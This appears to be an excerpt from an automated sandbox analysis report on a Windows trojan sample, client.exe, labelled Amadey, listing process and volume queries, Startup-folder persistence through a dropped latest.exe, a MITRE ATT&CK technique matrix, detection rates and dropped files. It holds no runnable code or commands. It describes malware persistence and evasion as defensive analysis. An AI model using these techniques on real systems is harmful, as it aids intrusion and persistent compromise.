Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Startup\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Queries volume information: C:\Users\user\Desktop\latest.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538 VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\client.exe

Code function: 0_2_00007FF6B080C0F0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6B080C0F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
client.exe	55%	ReversingLabs	Win64.Trojan.Amadey
client.exe	71%	Virustotal		Browse
client.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Programs\Startup\latest.exe	25%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imaging.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imagingcms.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_webp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_brotli.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\bcrypt\_bcrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md__mypyc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\cv2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\opencv_videoio_ffmpeg4100_64.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\_elementpath.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\builder.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\etree.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\objectify.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\sax.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\libscipy_openblas64_-c16e4918366c6bc1f1cd71e28ca36fc0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy.libs\msvcp140-23ebcc0b37c8e3d074511f362feac48b.dll	0%	ReversingLabs
